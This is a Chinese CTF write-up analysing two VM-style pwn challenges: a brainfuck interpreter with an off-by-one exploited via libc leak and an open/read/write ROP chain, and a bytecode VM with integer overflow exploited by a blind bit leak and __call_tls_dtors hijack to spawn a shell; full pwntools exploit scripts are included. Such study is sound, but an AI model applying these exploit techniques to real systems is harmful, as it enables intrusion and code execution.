VMPWN的入门系列-2

温馨提示:

文章有点长,图片比较多,请耐心阅读

实验四 VMPWN4

题目简介

这道题应该算是虚拟机保护的一个变种,是一个解释器类型的程序,何为解释器?解释器是一种计算机程序,用于解释和执行源代码。解释器可以理解源代码中的语法和语义,并将其转换为计算机可以执行的机器语言。与编译器不同,解释器不会将源代码转换为机器语言,而是直接执行源代码。即,这个程序接收一定的解释器语言,然后按照一定的规则对其进行解析,完成相应的功能,从本质上来看依然是一个虚拟机。

这个程序是一个brainfuck的解释器,brainfuck的语法如下所示:

0a79aaffc119ca6d3d6ff586f1fbb089.jpeg

将这些语法翻译为c代码如下所示:

d0769fd43b281acee318ecbe6e96d3f2.jpeg

题目保护检查

使用checksec来检查程序开启了哪些保护机制

6fa865b089fb075a489ad7611345f07c.jpeg

所有保护全部开启 使用seccomp-tools检查程序是否开启了沙箱

321322381db11ed49423edf1c88a58d5.jpeg

只允许open、openat、read、write、brk等少数系统调用,也就是说我们不能通过执行system(“/bin/sh”)或者execve系统调用来拿到shell了。

漏洞分析

使用IDA pro打开这个程序 查看伪代码

751f19c72a79ddf96c336252171ed780.jpeg 9faf653450ece6cfe25677d0366d2f96.jpeg

看到std::cout以及std::string等函数,可以看出来这个程序是用c++进行编写的,相比于C语言的程序,C++的程序反编译之后分析起来难度会大一些。

分析一波sub_1EA2函数

2cbb91a972a63055a4848a944b4ee62c.png

在a1+0x400处创建一个string类,后面的sub_1FAAsub_1F72很复杂,看不明白,应该是初始化的函数。

然后在 sub_154B 函数中

903d2d7212e49688d02c89d4f40eaca5.jpeg

这里就是沙箱开启函数,我们一开始用 seccomp-tools 分析程序得到的沙箱规则就是在这个函数中设置的,对程序的系统调用功能进行了种种限制。

接着输入 code,每次输入 1 字节,然后将这 1 字节拼接到 string 中, 在这里我们可以动态调试一下输入过程,因为 string 是一个类,其内部有其他成员。我们将断点下载 while 循环结束之后,即读取完了 code,我们首先输入 5 个'>',string 类在 rbp-0x40,我们查看其中内容:

316e796eb3e840b2c6468a5f008a6eba.jpeg

前8个字节是一个指针,指向我们输入的code存放的地址,第2个8字节是输入的字节数,后面的就是我们输入的code,这里我们只输入了5个字节,直接在存在了栈中。我们多输入一些,大于0x10个字符

97999c353ad5b15233b88c840682546d.png

0a8e3300acb91f4cf1cc9ae28930d16c.png

前8个字节变为了堆地址,我们输入的数据被存入了堆中,第2个8字节依然书我们输入的字节数,第3个8字节0x1e,应该是剩余可用空间,0x13+0x1e=0x31。 总的来说,如果输入字符数小于0x10,string类的大概成员应该如下

struct string
{
    char *data;
    int64_t size;
    char data[0x10];
    ...
}

如果大于0x10则为如下

struct
{
    char *buf;
    int64_t size;
    int64_t capacity;
    char tmp_data[8];
    ...
}

继续分析程序

f521de6789c351a9174c9422ba468ce9.jpeg

中间这一段 for 循环应该是遍历所有输入的 code,寻找[和],也就是寻找程序的边界,为什么是寻找程序的边界,可以再看一下 brainfuck 解释为 c 语言之后的效果。[]所包裹起来的 code,就是 while 循环之内要执行的代码。从这个 for 循环往下,就是对 brainfuck 的解释代码,会依次判断每个字符的值,并进行相应的操作。

首先看到对>的操作

c09df35cdaa167b08f7e715743724dc0.png

会对v19进行+1操作,v19是啥呢?

be52f9130136033ef430d5b4e746fde1.png

s是最开始初始化的时候传入的一个长度为0x400的数组,这里将v19赋值为s数组的地址,每当解析到>时,就将v19往后移动一个字节,然后对v19进行判断

fe49ca3bc1e72903082b17cc7fcc56f2.png

在if判断中存在问题,当v19指针大于string指针是退出,也就是说v19可以等于string指针,即v19可以指向string的第一个字节,存在off-by-one。如下图

ea0070cde068913dfadb49cee092d444.png

v19可以指向画框的1字节。

后续的其他操作就都和最开始贴出来的brainfuck语法一样了,也没有漏洞。

接下来开始利用漏洞。

第一步还是得先泄露libc地址。泄露方法是通过将v19指向string的第一字节,也就是buf指针的最后1字节。

c8fca4cf6cd586d7c701bfba35f0344b.png

0x7fffffffde68处就是main函数的返回地址,我们将buf指针的最后1字节修改为68,这样buf就会指向返回地址。在程序的最后,会将string的数据输出

bd9524933807c9580a506759ef868733.png

而此时string的buf已经被我们指向了返回地址,输出时就会泄露出libc_start_main的地址。 在这里我们需要注意,想要buf指针能够指向栈中,我们输入的数据不能超过0x10个字节,而v19和string相差多少呢?

1183b66a6aeb2fee28a1d041fbc978b2.png

v19是指向s的,s和string相差了0x400的距离,所以我们需要将v19增加0x400才行,但如果我们输入0x400个>,又会调用malloc,这样buf就会变成堆地址。所以这里就得了解brainfuck语法,使用[]可以达成类似于循环的效果。只需要 +[>+],这5个字符就可以一直循环增加v19指针,并在v19指向string的第1字节时自动停止,然后往string的第1字节写入1字节的数据,换成c的语法如下
++*ptr;
while(*ptr)
{
        ptr++;
        ++*ptr;
}

这看起来是一个死循环,为啥能够自动在指向string的第1个字节时自动停止呢?这是因为,当执行完>使得v19指向string后,接下来会执行+使得string的buf指针+1,变成了下图所示:

de5f4079e7be1f8606d3b2c361b12a4b.png

于是,原本要取],因为指针+1,就会取到,,从而跳出循环。还有一点就是,因为aslr的缘故,栈地址会一直改变,所以泄露libc地址需要多试几次才能成功。拿到libc地址之后,就可以进行利用了,由于此时string的buf指针指向的是返回地址,我们再次输入code的时候就会往返回地址上写,所以我们可以构造好orw的rop链,直接写入返回地址,然后当我们结束main函数的时候就会执行orw链。另外,还有需要注意的地方,在程序开头和结尾,有这么几个函数 开头

f22d5dd06d8235e6ead5a89973403950.png

结尾

34801a5effce6cc9c34a21e3f37a8ed2.png

开头的应该是构造函数,结尾的应该是析构函数。在漏洞利用中我们将string的buf指向了返回地址,如果我们在这个时候退出了while循环,执行析构函数时就会报错,所以我们在布置完orw链后还需要对string的buf进行修正,让它指向正确的位置。

利用脚本

from pwn import *
context.log_level='debug'
global io
libc=ELF('./libc.so.6')

def debug(addr,PIE=True):
    if PIE:
        text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(io.pid)).readlines()[1], 16)
        gdb.attach(io,'b *{}'.format(hex(text_base+addr)))
    else:
        gdb.attach(io,"b *{}".format(hex(addr)))

def pwn():
    payload = '+[>+],'
    io.recvuntil('enter your code:\n')
    
    io.sendline(payload)
    io.recvuntil('running....\n')
    io.send(p8(0xd8))
    io.recvuntil("your code: ")
    libc_base = u64(io.recvuntil('\x7f',timeout=0.5)[-6:].ljust(8,'\x00')) - 231 - libc.sym['__libc_start_main']
    if libc_base>>40!=0x7f:
        raise Exception("leak error!")
    log.success('libc_base => {}'.format(hex(libc_base)))
    pop_rdi_ret=libc_base+0x000000000002155f
    pop_rsi_ret=libc_base+0x0000000000023e6a
    pop_rdx_ret=libc_base+0x0000000000001b96
    open_addr=libc_base+libc.symbols['open']
    read_addr=libc_base+libc.symbols['read']
    write_addr=libc_base+libc.symbols['write']
    log.success('open_addr => {}'.format(hex(open_addr)))
    log.success('read_addr => {}'.format(hex(read_addr)))
    log.success('write_addr => {}'.format(hex(write_addr)))

    flag_str_addr=(libc_base+libc.symbols['__free_hook'])&0xfffffffffffff000

    orw=p64(pop_rdi_ret)+p64(0)+p64(pop_rsi_ret)+p64(flag_str_addr)+p64(pop_rdx_ret)+p64(0x10)+p64(read_addr)
    orw+=p64(pop_rdi_ret)+p64(flag_str_addr)+p64(pop_rsi_ret)+p64(0)+p64(open_addr)
    orw+=p64(pop_rdi_ret)+p64(3)+p64(pop_rsi_ret)+p64(flag_str_addr+0x10)+p64(pop_rdx_ret)+p64(0x100)+p64(read_addr)
    orw+=p64(pop_rdi_ret)+p64(1)+p64(pop_rsi_ret)+p64(flag_str_addr+0x10)+p64(pop_rdx_ret)+p64(0x100)+p64(write_addr)

    io.recvuntil('want to continue?\n')
    io.send('y')
    io.recvuntil('enter your code:\n')

    io.sendline(orw+payload)

    io.recvuntil('running....\n')
    io.send('\xa0')
    io.recvuntil('want to continue?\n')
    io.send('n')
    io.send('./flag')

    io.interactive()

if __name__ == "__main__":
    while True:
        try:
            io=process('./bf')
            pwn()
        except:
            io.close()

实验五 VMPWN5

题目简介

这道题是一道很典型的VMPWN,接收字节码,对字节码进行解析,执行对应功能。不过这题相较于前面的vmpwn有些区别,前几题都都是同时存在越界读和越界写漏洞的,然而这道题仅存在一个越界写漏洞,这就要求更加开阔和灵活的解题思路。

题目保护检查

5e22fb348ef265c4d1675bdfe9389b38.jpeg

保护全部开启了。

漏洞分析

IDA打开程序

720792cd09e0da739758a2215ce2a0ff.jpeg

读取一段字符,如果这段字符串不为”bye bye”,则调用sub_228E函数

看到sub_228E函数

022f05afa465727f7f267cb7850c983b.jpeg

首先根据字符串的输出将各个变量重命名。

6f7c3e8426c1d94e46634c42c9fa55f4.jpeg

先让用户输入code_size,也就是字节码的长度;接着让用户输入memory count,也就是内存的大小,内存的单位是8字节,后面通过malloc申请memory count*8大小的堆块作为内存。然后读取code,最后调用sub_1458函数,跟进查看

17fe27adf53cd18d2adf6b5853766c39.jpeg

似乎是一个初始化函数,但具体做了什么我们暂不清楚,继续往下看,跟进到sub_151A函数。

d32c4fb681fe662f68acafe6b1edec67.jpeg

这里就是熟悉的解析字节码了,我们将前面的函数和变量重命名一下

为了方便逆向分析,我们首先来确定虚拟机的结构体。

4b73092da01c92663231076ee6176e01.jpeg

首先根据这里的判断,我们猜测通用寄存器的索引不能大于3,也就是通用寄存器有 4个。我们再回看到init_vm结构体。

cdabf29530187c6bfc41943a82754505.jpeg

qword_5040应该为pc指针,因为它指向的是code的开头,ptr指向内存的开头,后面又malloc出来了一块0x800的堆,猜测这个qword_5050应该就是栈顶指针rsp,重命名之后如下

3cf728232fdb7a712fc7129f8f37de6e.jpeg

重新看回到exec_vm函数

6a92230f70dbd40fb84787ea6f71344a.jpeg

qword_5088很明显是当前运行了多少code。而我们注意到

5ec00711afe361863c7364e1611422a8.jpeg

我们刚刚重命名的指针都是位于同一块区域,所以这一块区域应该就是vm虚拟机的位置。

根据刚刚的分析,创建如下结构体

struct vm
{
  char *code;
  int64_t *memory;
  int64_t *stack;
  int64_t codesize;
  int64_t memcnt;
  int64_t regs[4];
  int64_t rip;
  int64_t rsp;
};

再将其应用于IDA中,此时exec_vm已经变得很清晰

7641af9e1221809e61ec29c274172c4c.jpegcec206926d34db8cd3fb49c669ec78c7.jpeg538fab0d3af428f12db7fc0a5db2e943.jpega9a608baa599ecbd98577c87a6b207b9.jpeg

一共24个功能,每个操作码对应的功能如下:

0:push

1:pop

2:将栈中的两个值相加

3:将栈中的两个值相减

4:将栈中的两个值相乘

5:将栈中的两个值相除

6:将栈中的两个值取模

7:将栈中的两个值左移

8:将栈中的两个值右移

9:将栈中的两个值相与

11:将栈中的两个值相或

12:将栈中的两个值相异或

13:判断栈顶值是否为0

14:jmp

15:条件jmp,如果栈顶有值就jmp,没有就不jmp

16:条件jmp,和15相反

17:判断栈顶的两个值是否相等

18:判断栈顶值是否小于栈顶下的一个值

19:判断栈顶值是否大于栈顶下的一个值

20:将一个立即数存入寄存器中

21:将寄存器中的值存入内存中

22:将内存中的值存入寄存器中

23:打印finish

接下来开始分析漏洞

在最开始输入mem_cnt时有一个判断,如下

bef14890ba13821028b145a97f9c42bd.jpeg

在这里,当输入类似0x2000000000000020mem_cnt时,后续申请到的memory大小就为0x100 因为0x200000000000000*8会超过64位能表示的最大数字从而导致整数溢出,只有最后的0x20*8会保留下来。

3d6cfd6965fda8f27148721439334d62.jpeg

在执行opcode时,0x15功能点处检查内存是否越界依然使用的是一开始输入的mem_cnt,因此存在越界写,可以将寄存器中的数据写到任意内存中。而在0x16功能点处的内存读功能则由于v8 >= 8 * vmx.memcnt / 8的处理,失去了越界读的效果,所以题目的漏洞就在于0x15功能点的越界写。

但是,由于不存在越界读功能,我们无法从内存中读取libc地址信息到寄存器中,虚拟机也没有输出功能,因此我们需要另辟蹊径。

首先如何生成libc地址,注意在exec_vm结束后,会清理虚拟机的各个段

514066454f375c14f0bbeefe6bb593e4.jpeg

由于将堆free了会链入到unsortedbin中,因此堆中就会留下libc地址,再重新初始化一个虚拟机,这个新的虚拟机的内存段中就会包含libc地址。

3d94dff609c0286f526c47714535a132.jpeg

当opcode大于0x17时,会输出what???,可以根据这个构造盲注来泄露libc地址.

首先将libc地址push到栈上,然后将1<<i(5<=i<=40)也push到栈上,然后通过0x9的按位与功能

04ae61e91bc11ad2dcfe5a4f8ca979bb.jpeg

检测该位是否为1,如果为1的话就执行一个错误的opcode,输出what???,如果为0的话就跳转回code开头,继续测试下一位是否为1,由此可以一位一位地得到libc地址。

5a0b8353cc990ae50c51468de3903096.jpeg

如上图所示,这是mem区残留的libc地址,首先将libc地址mov到reg[0]中,如下图

1be6b4ed205f43a4abcd48c32d64ad1b.jpeg

然后将其push到栈中

f4534f7fd6325b3597ee592db35a9a6e.jpeg

接着我们往reg[1]中写入1<<i,i从5开始,到40结束,因为libc地址的末尾4位为0,且开头一定为0x7f,所以只需要从第5位测试到第40位即可

f97aca486585776bf8860957521b02a2.jpeg

如上图,reg[1]中存放着1<<8,然后将其压入栈中

b5f06d67a2f73e97fde5d644f5ed0bc3.jpeg

再将这两个值进行按位与

a4c34fe4f2c1ad8a751f6a590f6070ea.jpeg4684b5d38377d4d5a76c7e53e0168d26.jpeg

将按位与之后的结果存入栈底,然后我们判断栈底为1或者0,为1的话就输出finish,为0的话就输出what?,以此来判断libc的每一位数据为1或者0.

得到libc地址之后就该思考如何getshell了。

拿到libc地址后,再加上任意地址写,随便怎么打都可以,这里采用打call_tls_dtors来getshell。

call_tls_dtors是什么?

main函数正常退出时,会调用exit函数

void
exit (int status)
{
  __run_exit_handlers (status, &__exit_funcs, true, true);
}
libc_hidden_def (exit)

exit函数调用了__run_exit_handlers函数

__run_exit_handlers (int status, struct exit_function_list **listp,
             bool run_list_atexit, bool run_dtors)
{
  /* First, call the TLS destructors.  */
#ifndef SHARED
  if (&__call_tls_dtors != NULL)
#endif
    if (run_dtors)
      __call_tls_dtors ();

  .....................
  _exit (status);
}

__run_exit_handlers函数中,会检查run_dtors,如果为真就会调用__call_tls_dtors

动态调试exit函数,可以看到run_dtors的值

pwndbg> p run_dtors 
$1 = true

因此__call_tls_dtors是会被执行的,再看到__call_tls_dtors函数

void
__call_tls_dtors (void)
{
  while (tls_dtor_list)
    {
      struct dtor_list *cur = tls_dtor_list;
      dtor_func func = cur->func;
#ifdef PTR_DEMANGLE
      PTR_DEMANGLE (func);
#endif

      tls_dtor_list = tls_dtor_list->next;
      func (cur->obj);

      /* Ensure that the MAP dereference happens before
     l_tls_dtor_count decrement.  That way, we protect this access from a
     potential DSO unload in _dl_close_worker, which happens when
     l_tls_dtor_count is 0.  See CONCURRENCY NOTES for more detail.  */
      atomic_fetch_add_release (&cur->map->l_tls_dtor_count, -1);
      free (cur);
    }
}

如果tls_dtor_list存在的话,就会将tls_dtor_list赋值给cur,而cur是一个dtor_list的结构体指针,定义如下

struct dtor_list
{
  dtor_func func;
  void *obj;
  struct link_map *map;
  struct dtor_list *next;
};

然后将cur->func赋值给func,然后调用PTR_DEMANGLE (func),定义如下

#  define PTR_DEMANGLE(var) asm ("ror $2*" LP_SIZE "+1, %0\n"       \
                     "xor %%fs:%c2, %0"         \
                     : "=r" (var)         \
                     : "0" (var),         \
                       "i" (offsetof (tcbhead_t,       \
                              pointer_guard)))

纯汇编如下

0x7ffff7e21428 <__call_tls_dtors+40>    ror    rax, 0x11
   0x7ffff7e2142c <__call_tls_dtors+44>    xor    rax, qword ptr fs:[0x30]
   0x7ffff7e21435 <__call_tls_dtors+53>    mov    qword ptr fs:[rbx], rdx
   0x7ffff7e21439 <__call_tls_dtors+57>    mov    rdi, qword ptr [rbp + 8]
   0x7ffff7e2143d <__call_tls_dtors+61>    call   rax

与之相对的是PTR_MANGLE(var)

#  define PTR_MANGLE(var) asm ("xor %%fs:%c2, %0\n"        \
                     "rol $2*" LP_SIZE "+1, %0"        \
                     : "=r" (var)         \
                     : "0" (var),         \
                       "i" (offsetof (tcbhead_t,       \
                              pointer_guard)))

PTR_MANGLE可以看作是加密过程,PTR_DEMANGLE 则是解密过程,循环右移0x11位,然后和fs:[0x30]异或得出解密之后的值。

fs:[0x30]是什么?64位程序中,函数退栈时检查canary的那条汇编语句就是xor rcx, qword ptr fs:[0x28],里面也出现了fs,实际上fs是一个TLS结构体,定义如下

typedef struct
{
  void *tcb;  /* Pointer to the TCB.  Not necessarily the
               thread descriptor used by libpthread.  */
  dtv_t *dtv;
  void *self;  /* Pointer to the thread descriptor.  */
  int multiple_threads;
  uintptr_t sysinfo;
  uintptr_t stack_guard;
  uintptr_t pointer_guard;
  int gscope_flag;
  /* Bit 0: X86_FEATURE_1_IBT.
     Bit 1: X86_FEATURE_1_SHSTK.
   */
  unsigned int feature_1;
  /* Reservation of some values for the TM ABI.  */
  void *__private_tm[3];
  /* GCC split stack support.  */
  void *__private_ss;
  /* The lowest address of shadow stack,  */
  unsigned long ssp_base;
} tcbhead_t;

stack_guard就是fs:[0x28],也就是canary,相应的,fs:[0x30]就是pointer_guard。如何定位TLS结构体?在pwndbg使用如下方式

pwndbg> canary 
canary : 0xed8519fd5f3d4700
pwndbg> search -p 0xed8519fd5f3d4700
                0x7ffff7fca568 0xed8519fd5f3d4700
pwndbg> x /20xg 0x7ffff7fca568-0x28
0x7ffff7fca540: 0x00007ffff7fca540 0x00007ffff7fcae90
0x7ffff7fca550: 0x00007ffff7fca540 0x0000000000000000

回到函数中来,解密了func之后,会执行

func (cur->obj);

而func和cur->obj同属于tls_dtor_list结构体,而这个结构体的来源是tls_dtor_list这个指针,如果我们能够控制这个指针指向我们可控的内存那么就能够劫持程序。我们继续动态调试查看tls_dtor_list的值

pwndbg> p tls_dtor_list 
Cannot find thread-local storage for process 5047, shared library /usr/lib/freelibs/amd64/2.31-0ubuntu9.2_amd64/libc.so.6:
Cannot find thread-local variables on this target

但是pwndbg并不能直接查看到tls_dtor_list的内容,看地址也不行,那我们继续从汇编中找

查看while (tls_dtor_list)处的汇编,如下

0x7ffff7e2140a <__call_tls_dtors+10>    mov    rbx, qword ptr [rip + 0x1a094f]
 ► 0x7ffff7e21411 <__call_tls_dtors+17>    mov    rbp, qword ptr fs:[rbx]
   0x7ffff7e21415 <__call_tls_dtors+21>    test   rbp, rbp
   0x7ffff7e21418 <__call_tls_dtors+24>    je     __call_tls_dtors+93 <__call_tls_dtors+93>

fs:[rbx]处的值赋给rbp,然后检查rbp是否为0

此时RBP的值为

RBX  0xffffffffffffffa8

补码形式,转换成负数就是-0x58,也就是将fs:[-0x58]处的值赋给RBP,所以tls_dtor_list的地址就为fs:[-0x58]。

整个利用流程就是,将tls_dtor_list的值修改为我们可控内存的地址,一般是堆的地址,然后根据dtor_list结构体的布局

struct dtor_list
{
  dtor_func func;
  void *obj;
  struct link_map *map;
  struct dtor_list *next;
};

我们只需要将在堆中将func伪造为加密后的system的地址,obj为/bin/sh即可。

按照上面说的思路,我们利用越界写将pointer_guard修改为0,然后修改dtor_list结构体的值,将func修改为加密后的system地址,将会obj修改为binsh的地址,最后我们推出虚拟机的时候就会触发system(“/bin/sh”)来getshell。

利用脚本

from pwn import *
context.log_level='debug'
io=process('./ezvm')
libc=ELF('./libc-2.35.so')

io.recvuntil('Welcome to 0ctf2022!!\n')
io.sendline('lock')
io.recvuntil('size:\n')
io.sendline('38')
io.recvuntil('memory count:\n')
io.sendline('256')
code=p8(0x17)+p8(0xff)*36
io.recvuntil('code:\n')
io.sendline(code)
io.recvuntil('continue?\n')
io.sendline('y')

leak=0
for i in range(5,40,1):
    print("leaking bit"+str(i)+':'+str(bin(1<<i)))
    code=p8(0x16)+p8(0)+p64(0) #mov reg[0],mem[0]
    code+=p8(0)+p8(0) #push r0
    code+=p8(0x14)+p8(1)+p64(1<<i) #mov reg[1],1<<i
    code+=p8(0)+p8(1) #push r1
    code+=p8(0x9) #AND
    code+=p8(0x10)+p64(1)
    code+=p8(0x18)+p8(0x17)
    io.recvuntil('size:\n')
    io.sendline(str(len(code)))
    io.recvuntil('memory count:\n')
    io.sendline('256')
    io.recvuntil('code:\n')
    
    io.sendline(code)
    # gdb.attach(io)
    # pause()
    data=io.recvuntil('finish!\n',drop=True)
    if 'what' in data:
        leak|=(1<<i)

leak|=0x7f0000000000
log.success('leak => {}'.format(hex(leak)))
libc_base=leak-0x219ce0
system_addr=libc_base+libc.symbols['system']
binsh_addr=libc_base+libc.search('/bin/sh\x00').next()
tls_dtor_list_addr=libc_base-0x28c0-0x58
log.success('libc_base => {}'.format(hex(libc_base)))
log.success('system_addr => {}'.format(hex(system_addr)))
log.success('binsh_addr => {}'.format(hex(binsh_addr)))

size = 0x2000000000030000
io.recvuntil('size:\n')
io.sendline('100')
io.recvuntil('memory count:\n')
io.sendline(str(size))
code=p8(0x15)+p8(0)+p64(0x302ec) #mov mem[0x302eb],reg[0]
enc=((system_addr^0)>>(64-0x11))|((system_addr^0)<<0x11)
code+=p8(0x14)+p8(1)+p64(enc) #mov reg[1],system_addr
code+=p8(0x14)+p8(2)+p64(binsh_addr) #mov reg[2],binsh_addr
code+=p8(0x14)+p8(3)+p64(libc_base+0x220000) #mov reg[3],libc_base+0x220000
code+=p8(0x15)+p8(3)+p64(0x302db)
code+=p8(0x15)+p8(1)+p64(0x747fe)  
code+=p8(0x15)+p8(2)+p64(0x747ff) 
io.recvuntil('code:\n')
#gdb.attach(io)
io.sendline(code)
io.recvuntil('continue?\n')
io.sendline('bye bye')



io.interactive()

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/50694.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

PKG内容查看工具:Suspicious Package for Mac安装教程

Suspicious Package Mac版是一款Mac平台上的查看 PKG 程序包内信息的应用&#xff0c;Suspicious Package Mac版支持查看全部包内全部文件&#xff0c;比如需要运行的脚本&#xff0c;开发者&#xff0c;来源等等。 suspicious package mac使用简单&#xff0c;只需在选择pkg安…

螺旋矩阵 II

给你一个正整数 n &#xff0c;生成一个包含 1 到 n2 所有元素&#xff0c;且元素按顺时针顺序螺旋排列的 n x n 正方形矩阵 matrix 。 示例 1&#xff1a; 输入&#xff1a;n 3 输出&#xff1a;[[1,2,3],[8,9,4],[7,6,5]] 示例 2&#xff1a; 输入&#xff1a;n 1 输出&a…

软工导论知识框架(二)结构化的需求分析

本章节涉及很多重要图表的制作&#xff0c;如ER图、数据流图、状态转换图、数据字典的书写等&#xff0c;对初学者来说比较生僻&#xff0c;本贴只介绍基础的轮廓&#xff0c;后面会有单独的帖子详解各图表如何绘制。 一.结构化的软件开发方法&#xff1a;结构化的分析、设计、…

【并发编程】ForkJoinPool工作原理分析

目录 前置内容课程内容一、由一道算法题引发的思考1.算法题2.什么是归并排序法 二、什么是Fork/Join框架1.基本介绍2.ForkJoinPool2.ForkJoinPool构造函数及参数解读3.任务提交方式4.工作原理图5.工作窃取6.和普通线程池之间的区别7.ForkJoinTask 学习总结 前置内容 Q1&#x…

WEB:web2

背景知识 代码审计 题目 由上述可知&#xff0c;这段代码定义了一个函数encode&#xff0c;接受一个字符串参数$str&#xff0c;并返回对其进行加密后的结果 加密算法包括&#xff1a; 使用strrev函数将字符串进行翻转&#xff1b;对翻转后的每个字符&#xff0c;将其ASCII值…

helm部署rabbitmq

1.添加rabbitmq仓库并下载包 helm repo add bitnami https://charts.bitnami.com/bitnami helm pull bitnami/rabbitmq --version 10.1.4 tar -zxvf rabbitmq-10.1.4.tgz mv values.yaml values.yaml.back grep -v "#" values.yaml.back > values.yaml2.helm部署…

xxl-Job分布式任务调度

1.概述 1.1 什么是任务调度 我们可以先思考一下业务场景的解决方案&#xff1a; 某电商系统需要在每天上午10点&#xff0c;下午3点&#xff0c;晚上8点发放一批优惠券。某银行系统需要在信用卡到期还款日的前三天进行短信提醒。某财务系统需要在每天凌晨0:10结算前一天的财…

系统架构设计师-软件架构设计(3)

目录 一、软件架构风格&#xff08;其它分类&#xff09; 1、闭环控制结构&#xff08;过程控制&#xff09; 2、C2风格 3、MDA&#xff08;模型驱动架构 Model Driven Architecture&#xff09; 4、特定领域软件架构&#xff08;DSSA&#xff09; 4.1 DSSA基本活动及产出物…

MySQL之深入InnoDB存储引擎——Checkpoint机制

文章目录 一、引入二、LSN三、触发时机 一、引入 由于页的操作首先都是在缓冲池中完成的&#xff0c;那么如果一条DML语句改变了页中的记录&#xff0c;那么此时页就是脏的&#xff0c;即缓冲池中页的版本要比磁盘的新。那么数据库需要将新版本的页刷新到磁盘。倘若每次一个页…

Unity源码分享-黄金矿工游戏完整版

Unity源码分享-黄金矿工游戏完整版 项目地址&#xff1a;https://download.csdn.net/download/Highning0007/88118933

Raki的读paper小记:RWKV: Reinventing RNNs for the Transformer Era

Abstract&Introduction&Related Work 研究任务 基础模型架构已有方法和相关工作 RNN&#xff0c;CNN&#xff0c;Transformer稀疏注意力&#xff08;Beltagy等人&#xff0c;2020年&#xff1b;Kitaev等人&#xff0c;2020年&#xff1b;Guo等人&#xff0c;2022年&am…

arm 函数栈回溯

大概意思就是arm每个函数开始都会将PC、LR、SP以及FP四个寄存器入栈。 下面我们看一下这四个寄存器里面保存的是什么内存 arm-linux-gnueabi-gcc unwind.c -mapcs -w -g -o unwind&#xff08;需要加上-mapcs才会严格按照上面说的入栈&#xff09; #include <stdio.h> …

Flutter 开发者工具 Android Studio 开发Flutter应用

Flutter 开发者工具 在 Android Studio 开发Flutter应用 &#x1f525; Android Studio 版本更新 &#x1f525; Android Studio Check for Update Connection failed ​ 解决方案 如果是运行的是32位的android studio需要在andriod studio的启动目录下找到studio.exe.vmoptio…

Flutter-基础Widget

Flutter页面-基础Widget 文章目录 Flutter页面-基础WidgetWidgetStateless WidgetStateful WidgetState生命周期 基础widget文本显示TextRichTextDefaultTextStyle 图片显示FlutterLogoIconImageIamge.assetImage.fileImage.networkImage.memory CircleAvatarFadeInImage 按钮R…

抖音账号矩阵系统开发源码

一、技术自研框架开发背景&#xff1a; 抖音账号矩阵系统是一种基于数据分析和管理的全新平台&#xff0c;能够帮助用户更好地管理、扩展和营销抖音账号。 部分源码分享&#xff1a; ic function indexAction() { //面包屑 $breadcrumbs [ [tit…

【雕爷学编程】MicroPython动手做(13)——掌控板之RGB三色灯2

知识点&#xff1a;什么是掌控板&#xff1f; 掌控板是一块普及STEAM创客教育、人工智能教育、机器人编程教育的开源智能硬件。它集成ESP-32高性能双核芯片&#xff0c;支持WiFi和蓝牙双模通信&#xff0c;可作为物联网节点&#xff0c;实现物联网应用。同时掌控板上集成了OLED…

Java另一种debug方法(not remote jmv debug),类似python远程debug方式

这种Debug类似python的debug方式&#xff0c;是运行时将业务代码及依赖推送到Linux并使用Linux的java运行运行程。只要本地能运行&#xff0c;就能自动将代码推送到Linux运行&#xff0c;不需打包及设置远程debug jvm参数&#xff0c;适合一些项目Debug调试 运行时会推送一些依…

67. 二进制求和

题目链接&#xff1a;力扣 解题思路&#xff1a;模拟十进制中的列竖式方法进行计算&#xff0c;逢二进一&#xff0c;因为高位在前&#xff0c;低位在后&#xff0c;两个二进制长度不一定相等&#xff0c;可以取两者长度的较大值&#xff0c;从后面开始遍历两个字符串&#xff…

【算法基础:动态规划】5.3 计数类DP(整数拆分、分拆数)

文章目录 例题&#xff1a;900. 整数划分解法1——完全背包解法2——分拆数⭐⭐⭐ 例题&#xff1a;900. 整数划分 https://www.acwing.com/problem/content/902/ 解法1——完全背包 容量是 n&#xff0c;物品的大小和价值是 1 ~ n 中的所有数字。 import java.util.*;pub…

Echarts 文字太长用省略号代替

xAxis: [{type: category,data: [materialUserEchartsDate.value[0] ? materialUserEchartsDate.value[0].name : ,materialUserEchartsDate.value[1] ? materialUserEchartsDate.value[1].name : ,materialUserEchartsDate.value[2] ? materialUserEchartsDate.value[2].na…